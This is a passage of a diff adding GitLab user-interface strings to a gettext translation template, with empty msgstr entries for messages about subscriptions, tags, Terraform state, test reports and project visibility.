+msgid "Subscribed"
+msgstr ""
+
+msgid "Subscribed to this %{quick_action_target}."
+msgstr ""
+
+msgid "Subscribes to this %{quick_action_target}."
+msgstr ""
+
+msgid "Subscription"
+msgstr ""
+
+msgid "Subscription deletion failed."
+msgstr ""
+
+msgid "Subscription successfully applied to \"%{group_name}\""
+msgstr ""
+
+msgid "Subscription successfully created."
+msgstr ""
+
+msgid "Subscription successfully deleted."
+msgstr ""
+
+msgid "SubscriptionTable|Add seats"
+msgstr ""
+
+msgid "SubscriptionTable|An error occurred while loading the subscription details."
+msgstr ""
+
+msgid "SubscriptionTable|Billing"
+msgstr ""
+
+msgid "SubscriptionTable|Free"
+msgstr ""
+
+msgid "SubscriptionTable|GitLab allows you to continue using your subscription even if you exceed the number of seats you purchased. You will be required to pay for these seats upon renewal."
+msgstr ""
+
+msgid "SubscriptionTable|Last invoice"
+msgstr ""
+
+msgid "SubscriptionTable|Loading subscriptions"
+msgstr ""
+
+msgid "SubscriptionTable|Manage"
+msgstr ""
+
+msgid "SubscriptionTable|Max seats used"
+msgstr ""
+
+msgid "SubscriptionTable|Next invoice"
+msgstr ""
+
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
+msgid "SubscriptionTable|Seats currently in use"
+msgstr ""
+
+msgid "SubscriptionTable|Seats in subscription"
+msgstr ""
+
+msgid "SubscriptionTable|Seats owed"
+msgstr ""
+
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
+msgid "SubscriptionTable|Subscription end date"
+msgstr ""
+
+msgid "SubscriptionTable|Subscription start date"
+msgstr ""
+
+msgid "SubscriptionTable|This is the last time the GitLab.com team was in contact with you to settle any outstanding balances."
+msgstr ""
+
+msgid "SubscriptionTable|This is the maximum number of users that have existed at the same time since this subscription started."
+msgstr ""
+
+msgid "SubscriptionTable|This is the next date when the GitLab.com team is scheduled to get in contact with you to settle any outstanding balances."
+msgstr ""
+
+msgid "SubscriptionTable|This is the number of seats you will be required to purchase if you update to a paid plan."
+msgstr ""
+
+msgid "SubscriptionTable|Trial"
+msgstr ""
+
+msgid "SubscriptionTable|Trial end date"
+msgstr ""
+
+msgid "SubscriptionTable|Trial start date"
+msgstr ""
+
+msgid "SubscriptionTable|Upgrade"
+msgstr ""
+
+msgid "SubscriptionTable|Usage"
+msgstr ""
+
+msgid "SubscriptionTable|Usage count is performed once a day at 12:00 PM."
+msgstr ""
+
+msgid "Subscriptions"
+msgstr ""
+
+msgid "Subtracted"
+msgstr ""
+
+msgid "Subtracts"
+msgstr ""
+
+msgid "Succeeded"
+msgstr ""
+
+msgid "Successful purchase image"
+msgstr ""
+
+msgid "Successfully activated"
+msgstr ""
+
+msgid "Successfully approved"
+msgstr ""
+
+msgid "Successfully blocked"
+msgstr ""
+
+msgid "Successfully confirmed"
+msgstr ""
+
+msgid "Successfully deactivated"
+msgstr ""
+
+msgid "Successfully deleted U2F device."
+msgstr ""
+
+msgid "Successfully deleted WebAuthn device."
+msgstr ""
+
+msgid "Successfully removed email."
+msgstr ""
+
+msgid "Successfully scheduled a pipeline to run. Go to the %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details."
+msgstr ""
+
+msgid "Successfully synced %{synced_timeago}."
+msgstr ""
+
+msgid "Successfully unblocked"
+msgstr ""
+
+msgid "Successfully unlocked"
+msgstr ""
+
+msgid "Successfully verified domain ownership"
+msgstr ""
+
+msgid "Suggest code changes which can be immediately applied in one click. Try it out!"
+msgstr ""
+
+msgid "Suggested Solutions"
+msgstr ""
+
+msgid "Suggested change"
+msgstr ""
+
+msgid "Suggested solutions help link"
+msgstr ""
+
+msgid "SuggestedColors|Aztec Gold"
+msgstr ""
+
+msgid "SuggestedColors|Blue"
+msgstr ""
+
+msgid "SuggestedColors|Blue-gray"
+msgstr ""
+
+msgid "SuggestedColors|Carrot orange"
+msgstr ""
+
+msgid "SuggestedColors|Champagne"
+msgstr ""
+
+msgid "SuggestedColors|Charcoal grey"
+msgstr ""
+
+msgid "SuggestedColors|Crimson"
+msgstr ""
+
+msgid "SuggestedColors|Dark coral"
+msgstr ""
+
+msgid "SuggestedColors|Dark green"
+msgstr ""
+
+msgid "SuggestedColors|Dark sea green"
+msgstr ""
+
+msgid "SuggestedColors|Dark violet"
+msgstr ""
+
+msgid "SuggestedColors|Deep violet"
+msgstr ""
+
+msgid "SuggestedColors|Gray"
+msgstr ""
+
+msgid "SuggestedColors|Green screen"
+msgstr ""
+
+msgid "SuggestedColors|Green-cyan"
+msgstr ""
+
+msgid "SuggestedColors|Lavendar"
+msgstr ""
+
+msgid "SuggestedColors|Magenta-pink"
+msgstr ""
+
+msgid "SuggestedColors|Medium sea green"
+msgstr ""
+
+msgid "SuggestedColors|Red"
+msgstr ""
+
+msgid "SuggestedColors|Rose red"
+msgstr ""
+
+msgid "SuggestedColors|Titanium yellow"
+msgstr ""
+
+msgid "Suggestion is not applicable as the suggestion was not found."
+msgstr ""
+
+msgid "Suggestions are not applicable as one or more suggestions were not found."
+msgstr ""
+
+msgid "Suggestions are not applicable as their lines cannot overlap."
+msgstr ""
+
+msgid "Suggestions must all be on the same branch."
+msgstr ""
+
+msgid "Suggestions:"
+msgstr ""
+
+msgid "Suite"
+msgstr ""
+
+msgid "Summary"
+msgstr ""
+
+msgid "Sunday"
+msgstr ""
+
+msgid "Support"
+msgstr ""
+
+msgid "Support for custom certificates is disabled. Ask your system's administrator to enable it."
+msgstr ""
+
+msgid "Support page URL"
+msgstr ""
+
+msgid "Survey Response"
+msgstr ""
+
+msgid "Switch branch/tag"
+msgstr ""
+
+msgid "Switch to GitLab Next"
+msgstr ""
+
+msgid "Switch to the source to copy the file contents"
+msgstr ""
+
+msgid "Symbolic link"
+msgstr ""
+
+msgid "Sync information"
+msgstr ""
+
+msgid "Sync now"
+msgstr ""
+
+msgid "Synced"
+msgstr ""
+
+msgid "Synchronization disabled"
+msgstr ""
+
+msgid "Synchronization settings"
+msgstr ""
+
+msgid "Syncing…"
+msgstr ""
+
+msgid "Syntax is correct."
+msgstr ""
+
+msgid "Syntax is incorrect."
+msgstr ""
+
+msgid "System"
+msgstr ""
+
+msgid "System Hooks"
+msgstr ""
+
+msgid "System Hooks Help"
+msgstr ""
+
+msgid "System Info"
+msgstr ""
+
+msgid "System OAuth applications"
+msgstr ""
+
+msgid "System OAuth applications don't belong to any user and can only be managed by admins"
+msgstr ""
+
+msgid "System default (%{default})"
+msgstr ""
+
+msgid "System header and footer"
+msgstr ""
+
+msgid "System hook was successfully updated."
+msgstr ""
+
+msgid "System hooks are triggered on sets of events like creating a project or adding an SSH key. You can also enable extra triggers, such as push events."
+msgstr ""
+
+msgid "System metrics (Custom)"
+msgstr ""
+
+msgid "System metrics (Kubernetes)"
+msgstr ""
+
+msgid "System output"
+msgstr ""
+
+msgid "Table of Contents"
+msgstr ""
+
+msgid "Tag"
+msgstr ""
+
+msgid "Tag list:"
+msgstr ""
+
+msgid "Tag name"
+msgstr ""
+
+msgid "Tag name is required"
+msgstr ""
+
+msgid "Tag push events"
+msgstr ""
+
+msgid "Tag this commit."
+msgstr ""
+
+msgid "Tag:"
+msgstr ""
+
+msgid "Tagged this commit to %{tag_name} with \"%{message}\"."
+msgstr ""
+
+msgid "Tagged this commit to %{tag_name}."
+msgstr ""
+
+msgid "Tags"
+msgstr ""
+
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
+msgid "Tags feed"
+msgstr ""
+
+msgid "Tags this commit to %{tag_name} with \"%{message}\"."
+msgstr ""
+
+msgid "Tags this commit to %{tag_name}."
+msgstr ""
+
+msgid "Tags:"
+msgstr ""
+
+msgid "TagsPage|Browse commits"
+msgstr ""
+
+msgid "TagsPage|Browse files"
+msgstr ""
+
+msgid "TagsPage|Can't find HEAD commit for this tag"
+msgstr ""
+
+msgid "TagsPage|Cancel"
+msgstr ""
+
+msgid "TagsPage|Create tag"
+msgstr ""
+
+msgid "TagsPage|Delete tag"
+msgstr ""
+
+msgid "TagsPage|Deleting the %{tag_name} tag cannot be undone. Are you sure?"
+msgstr ""
+
+msgid "TagsPage|Edit release notes"
+msgstr ""
+
+msgid "TagsPage|Existing branch name, tag, or commit SHA"
+msgstr ""
+
+msgid "TagsPage|Filter by tag name"
+msgstr ""
+
+msgid "TagsPage|New Tag"
+msgstr ""
+
+msgid "TagsPage|New tag"
+msgstr ""
+
+msgid "TagsPage|Optionally, add a message to the tag. Leaving this blank creates a %{link_start}lightweight tag.%{link_end}"
+msgstr ""
+
+msgid "TagsPage|Optionally, create a public Release of your project, based on this tag. Release notes are displayed on the %{releases_page_link_start}Releases%{link_end} page. %{docs_link_start}More information%{link_end}"
+msgstr ""
+
+msgid "TagsPage|Release notes"
+msgstr ""
+
+msgid "TagsPage|Repository has no tags yet."
+msgstr ""
+
+msgid "TagsPage|Sort by"
+msgstr ""
+
+msgid "TagsPage|Tags"
+msgstr ""
+
+msgid "TagsPage|Tags give the ability to mark specific points in history as being important"
+msgstr ""
+
+msgid "TagsPage|This tag has no release notes."
+msgstr ""
+
+msgid "TagsPage|Use git tag command to add a new one:"
+msgstr ""
+
+msgid "TagsPage|Write your release notes or drag files here…"
+msgstr ""
+
+msgid "TagsPage|protected"
+msgstr ""
+
+msgid "Target Branch"
+msgstr ""
+
+msgid "Target Path"
+msgstr ""
+
+msgid "Target branch"
+msgstr ""
+
+msgid "Target-Branch"
+msgstr ""
+
+msgid "Task ID: %{elastic_task}"
+msgstr ""
+
+msgid "Team"
+msgstr ""
+
+msgid "Team domain"
+msgstr ""
+
+msgid "Telephone number"
+msgstr ""
+
+msgid "Template"
+msgstr ""
+
+msgid "Template to append to all Service Desk issues"
+msgstr ""
+
+msgid "Templates"
+msgstr ""
+
+msgid "TemporaryStorageIncrease|can only be set once"
+msgstr ""
+
+msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
+msgstr ""
+
+msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
+msgstr ""
+
+msgid "TemporaryStorage|Increase storage temporarily"
+msgstr ""
+
+msgid "TemporaryStorage|Temporarily increase storage now?"
+msgstr ""
+
+msgid "Terminal"
+msgstr ""
+
+msgid "Terminal for environment"
+msgstr ""
+
+msgid "Terminal sync service is running"
+msgstr ""
+
+msgid "Terms of Service Agreement and Privacy Policy"
+msgstr ""
+
+msgid "Terms of Service and Privacy Policy"
+msgstr ""
+
+msgid "Terraform"
+msgstr ""
+
+msgid "Terraform|%{name} successfully removed"
+msgstr ""
+
+msgid "Terraform|%{number} Terraform report failed to generate"
+msgid_plural "Terraform|%{number} Terraform reports failed to generate"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Terraform|%{number} Terraform report was generated in your pipelines"
+msgid_plural "Terraform|%{number} Terraform reports were generated in your pipelines"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
+msgid "Terraform|A report failed to generate."
+msgstr ""
+
+msgid "Terraform|A report was generated in your pipelines."
+msgstr ""
+
+msgid "Terraform|Actions"
+msgstr ""
+
+msgid "Terraform|An error occurred while changing the state file"
+msgstr ""
+
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Are you sure you want to remove the Terraform State %{name}?"
+msgstr ""
+
+msgid "Terraform|Cancel"
+msgstr ""
+
+msgid "Terraform|Details"
+msgstr ""
+
+msgid "Terraform|Download JSON"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
+msgid "Terraform|Generating the report caused an error."
+msgstr ""
+
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Job status"
+msgstr ""
+
+msgid "Terraform|Lock"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
+msgid "Terraform|Locking state"
+msgstr ""
+
+msgid "Terraform|Name"
+msgstr ""
+
+msgid "Terraform|Pipeline"
+msgstr ""
+
+msgid "Terraform|Remove"
+msgstr ""
+
+msgid "Terraform|Remove state file and versions"
+msgstr ""
+
+msgid "Terraform|Removing"
+msgstr ""
+
+msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
+msgstr ""
+
+msgid "Terraform|States"
+msgstr ""
+
+msgid "Terraform|The report %{name} failed to generate."
+msgstr ""
+
+msgid "Terraform|The report %{name} was generated in your pipelines."
+msgstr ""
+
+msgid "Terraform|To remove the State file and its versions, type %{name} to confirm:"
+msgstr ""
+
+msgid "Terraform|Unknown User"
+msgstr ""
+
+msgid "Terraform|Unlock"
+msgstr ""
+
+msgid "Terraform|Unlocking state"
+msgstr ""
+
+msgid "Terraform|You are about to remove the State file %{name}. This will permanently delete all the State versions and history. The infrastructure provisioned previously\twill remain intact, only the state file with all its versions are to be removed. This action is non-revertible."
+msgstr ""
+
+msgid "Terraform|You cannot remove the State file because it's locked. Unlock the State file first before removing it."
+msgstr ""
+
+msgid "Test"
+msgstr ""
+
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
+msgid "Test coverage parsing"
+msgstr ""
+
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Test coverage: %d hit"
+msgid_plural "Test coverage: %d hits"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Test settings"
+msgstr ""
+
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
+msgid "TestCases|New Test Case"
+msgstr ""
+
+msgid "TestCases|New test case"
+msgstr ""
+
+msgid "TestCases|Search test cases"
+msgstr ""
+
+msgid "TestCases|Something went wrong while adding test case to Todo."
+msgstr ""
+
+msgid "TestCases|Something went wrong while creating a test case."
+msgstr ""
+
+msgid "TestCases|Something went wrong while fetching test case."
+msgstr ""
+
+msgid "TestCases|Something went wrong while fetching test cases list."
+msgstr ""
+
+msgid "TestCases|Something went wrong while marking test case todo as done."
+msgstr ""
+
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
+msgid "TestCases|Something went wrong while updating the test case labels."
+msgstr ""
+
+msgid "TestCases|Something went wrong while updating the test case."
+msgstr ""
+
+msgid "TestCases|Submit test case"
+msgstr ""
+
+msgid "TestHooks|Ensure one of your projects has merge requests."
+msgstr ""
+
+msgid "TestHooks|Ensure the project has CI jobs."
+msgstr ""
+
+msgid "TestHooks|Ensure the project has CI pipelines."
+msgstr ""
+
+msgid "TestHooks|Ensure the project has deployments."
+msgstr ""
+
+msgid "TestHooks|Ensure the project has issues."
+msgstr ""
+
+msgid "TestHooks|Ensure the project has merge requests."
+msgstr ""
+
+msgid "TestHooks|Ensure the project has notes."
+msgstr ""
+
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
+msgid "TestHooks|Ensure the wiki is enabled and has pages."
+msgstr ""
+
+msgid "TestReports|%{count} errors"
+msgstr ""
+
+msgid "TestReports|%{count} failures"
+msgstr ""
+
+msgid "TestReports|%{count} tests"
+msgstr ""
+
+msgid "TestReports|%{rate}%{sign} success rate"
+msgstr ""
+
+msgid "TestReports|Jobs"
+msgstr ""
+
+msgid "TestReports|Tests"
+msgstr ""
+
+msgid "TestReports|There are no test cases to display."
+msgstr ""
+
+msgid "TestReports|There are no test suites to show."
+msgstr ""
+
+msgid "TestReports|There are no tests to show."
+msgstr ""
+
+msgid "TestReports|There was an error fetching the summary."
+msgstr ""
+
+msgid "TestReports|There was an error fetching the test suite."
+msgstr ""
+
+msgid "Tests"
+msgstr ""
+
+msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
+msgstr ""
+
+msgid "Thank you for your business."
+msgstr ""
+
+msgid "Thank you for your feedback!"
+msgstr ""
+
+msgid "Thank you for your report. A GitLab administrator will look into it shortly."
+msgstr ""
+
+msgid "Thank you for your support request! We are tracking your request as ticket #%{issue_iid}, and will respond as soon as we can."
+msgstr ""
+
+msgid "Thanks for your purchase!"
+msgstr ""
+
+msgid "That is ok, I do not want to renew"
+msgstr ""
+
+msgid "That's it, well done!"
+msgstr ""
+
+msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
+msgstr ""
+
+msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgstr ""
+
+msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
+msgstr ""
+
+msgid "The %{plan_name} is no longer available to purchase. For more information about how this will impact you, check our %{faq_link_start}frequently asked questions%{faq_link_end}."
+msgstr ""
+
+msgid "The %{type} contains the following error:"
+msgid_plural "The %{type} contains the following errors:"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgstr ""
+
+msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgstr ""
+
+msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
+msgstr ""
+
+msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
+msgstr ""
+
+msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project. You can register or sign in to create issues for this project."
+msgstr ""
+
+msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
+msgstr ""
+
+msgid "The URL defined on the primary node that secondary nodes should use to contact it."
+msgstr ""
+
+msgid "The URL defined on the primary node that secondary nodes should use to contact it. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgstr ""
+
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
+msgstr ""
+
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgstr ""
+
+msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
+msgstr ""
+
+msgid "The associated issue #%{issueId} has been closed as the error is now resolved."
+msgstr ""
+
+msgid "The branch for this project has no active pipeline configuration."
+msgstr ""
+
+msgid "The branch or tag does not exist"
+msgstr ""
+
+msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
+msgstr ""
+
+msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
+msgstr ""
+
+msgid "The collection of events added to the data gathered for that stage."
+msgstr ""
+
+msgid "The commit does not exist"
+msgstr ""
+
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
+msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
+msgstr ""
+
+msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
+msgstr ""
+
+msgid "The contents of this group, its subgroups and projects will be permanently removed after %{deletion_adjourned_period} days on %{date}. After this point, your data cannot be recovered."
+msgstr ""
+
+msgid "The current issue"
+msgstr ""
+
+msgid "The current user is not authorized to access the job log."
+msgstr ""
+
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
+msgid "The data source is connected, but there is no data to display. %{documentationLink}"
+msgstr ""
+
+msgid "The default CI configuration path for new projects."
+msgstr ""
+
+msgid "The dependency list details information about the components used within your project."
+msgstr ""
+
+msgid "The deployment of this job to %{environmentLink} did not succeed."
+msgstr ""
+
+msgid "The designs you tried uploading did not change."
+msgstr ""
+
+msgid "The directory has been successfully created."
+msgstr ""
+
+msgid "The domain you entered is misformatted."
+msgstr ""
+
+msgid "The domain you entered is not allowed."
+msgstr ""
+
+msgid "The download link will expire in 24 hours."
+msgstr ""
+
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
+msgid "The errors we encountered were:"
+msgstr ""
+
+msgid "The file has been successfully created."
+msgstr ""
+
+msgid "The file has been successfully deleted."
+msgstr ""
+
+msgid "The file name should have a .yml extension"
+msgstr ""
+
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
+msgid "The following Personal Access Token was revoked by an administrator, %{username}."
+msgstr ""
+
+msgid "The following SSH key was deleted by an administrator, %{username}."
+msgstr ""
+
+msgid "The following items will NOT be exported:"
+msgstr ""
+
+msgid "The following items will be exported:"
+msgstr ""
+
+msgid "The following personal access token: %{token_names} was revoked, because a new policy to expire personal access tokens were set."
+msgid_plural "The following personal access tokens: %{token_names} were revoked, because a new policy to expire personal access tokens were set."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "The fork relationship has been removed."
+msgstr ""
+
+msgid "The form contains the following errors:"
+msgstr ""
+
+msgid "The form contains the following warning:"
+msgstr ""
+
+msgid "The global settings require you to enable Two-Factor Authentication for your account."
+msgstr ""
+
+msgid "The group and any internal projects can be viewed by any logged in user except external users."
+msgstr ""
+
+msgid "The group and any public projects can be viewed without any authentication."
+msgstr ""
+
+msgid "The group and its projects can only be viewed by members."
+msgstr ""
+
+msgid "The group can be fully restored"
+msgstr ""
+
+msgid "The group export can be downloaded from:"
+msgstr ""
+
+msgid "The group has already been shared with this group"
+msgstr ""
+
+msgid "The group settings for %{group_links} require you to enable Two-Factor Authentication for your account. You can %{leave_group_links}."
+msgstr ""
+
+msgid "The group will be placed in 'pending removal' state"
+msgstr ""
+
+msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
+msgstr ""
+
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
+msgid "The invitation could not be accepted."
+msgstr ""
+
+msgid "The invitation could not be declined."
+msgstr ""
+
+msgid "The invitation has already been accepted."
+msgstr ""
+
+msgid "The invitation was successfully resent."
+msgstr ""
+
+msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
+msgstr ""
+
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
+msgstr ""
+
+msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
+msgstr ""
+
+msgid "The license was removed. GitLab has fallen back on the previous license."
+msgstr ""
+
+msgid "The license was removed. GitLab now no longer has a valid license."
+msgstr ""
+
+msgid "The license was successfully uploaded and is now active. You can see the details below."
+msgstr ""
+
+msgid "The license was successfully uploaded and will be active from %{starts_at}. You can see the details below."
+msgstr ""
+
+msgid "The maximum file size allowed is %{size}."
+msgstr ""
+
+msgid "The maximum file size in megabytes for individual job artifacts."
+msgstr ""
+
+msgid "The maximum file size is %{size}."
+msgstr ""
+
+msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
+msgstr ""
+
+msgid "The merge conflicts for this merge request cannot be resolved through GitLab. Please try to resolve them locally."
+msgstr ""
+
+msgid "The merge conflicts for this merge request have already been resolved."
+msgstr ""
+
+msgid "The merge conflicts for this merge request have already been resolved. Please return to the merge request."
+msgstr ""
+
+msgid "The merge request can now be merged."
+msgstr ""
+
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
+msgid "The name \"%{name}\" is already taken in this directory."
+msgstr ""
+
+msgid "The name of the CI/CD configuration file. A path relative to the root directory is optional (for example %{code_open}my/path/.myfile.yml%{code_close})."
+msgstr ""
+
+msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
+msgstr ""
+
+msgid "The number of merge requests merged by month."
+msgstr ""
+
+msgid "The number of times an upload record could not find its file"
+msgstr ""
+
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
+msgstr ""
+
+msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
+msgstr ""
+
+msgid "The phase of the development lifecycle."
+msgstr ""
+
+msgid "The pipeline has been deleted"
+msgstr ""
+
+msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
+msgstr ""
+
+msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
+msgstr ""
+
+msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
+msgstr ""
+
+msgid "The project can be accessed by any logged in user except external users."
+msgstr ""
+
+msgid "The project can be accessed by any user who is logged in."
+msgstr ""
+
+msgid "The project can be accessed by anyone, regardless of authentication."
+msgstr ""
+
+msgid "The project can be accessed without any authentication."
+msgstr ""
+
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
+msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
+msgstr ""
+
+msgid "The project is still being deleted. Please try again later."
+msgstr ""
+
+msgid "The project was successfully forked."
+msgstr ""
+
+msgid "The project was successfully imported."
+msgstr ""
+
+msgid "The pseudonymizer data collection is disabled. When enabled, GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
+msgstr ""
+
+msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
+msgstr ""
+
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
+msgid "The remote mirror took to long to complete."
+msgstr ""
+
+msgid "The remote repository is being updated..."
+msgstr ""
+
+msgid "The repository can be committed to, and issues, comments and other entities can be created."
+msgstr ""
+
+msgid "The repository for this project does not exist."
+msgstr ""
+
+msgid "The repository for this project is empty"
+msgstr ""
+
+msgid "The repository is being updated..."
+msgstr ""
+
+msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close} or %{code_open}git://%{code_close}."
+msgstr ""
+
+msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
+msgstr ""
+
+msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
+msgstr ""
+
+msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
+msgstr ""
+
+msgid "The schedule time must be in the future!"
+msgstr ""
+
+msgid "The snippet can be accessed without any authentication."
+msgstr ""
+
+msgid "The snippet is visible only to me."
+msgstr ""
+
+msgid "The snippet is visible only to project members."
+msgstr ""
+
+msgid "The snippet is visible to any logged in user except external users."
+msgstr ""
+
+msgid "The specified tab is invalid, please select another"
+msgstr ""
+
+msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgstr ""
+
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
+msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "The subject will be used as the title of the new issue, and the message will be the description. %{quickActionsLinkStart}Quick actions%{quickActionsLinkEnd} and styling with %{markdownLinkStart}Markdown%{markdownLinkEnd} are supported."
+msgstr ""
+
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
+msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
+msgstr ""
+
+msgid "The time taken by each data entry gathered by that stage."
+msgstr ""
+
+msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
+msgstr ""
+
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
+msgstr ""
+
+msgid "The usage ping is disabled, and cannot be configured through this form."
+msgstr ""
+
+msgid "The user is being deleted."
+msgstr ""
+
+msgid "The user map has been saved. Continue by selecting the projects you want to import."
+msgstr ""
+
+msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
+msgstr ""
+
+msgid "The user you are trying to approve is not pending approval"
+msgstr ""
+
+msgid "The user you are trying to deactivate has been active in the past %{minimum_inactive_days} days and cannot be deactivated"
+msgstr ""
+
+msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
+msgstr ""
+
+msgid "The value of the provided variable exceeds the %{count} character limit"
+msgstr ""
+
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
+msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
+msgstr ""
+
+msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
+msgstr ""
+
+msgid "There are currently no events."
+msgstr ""
+
+msgid "There are merge conflicts"
+msgstr ""
+
+msgid "There are no %{replicableTypeName} to show"
+msgstr ""
+
+msgid "There are no GPG keys associated with this account."
+msgstr ""
+
+msgid "There are no GPG keys with access to your account."
+msgstr ""
+
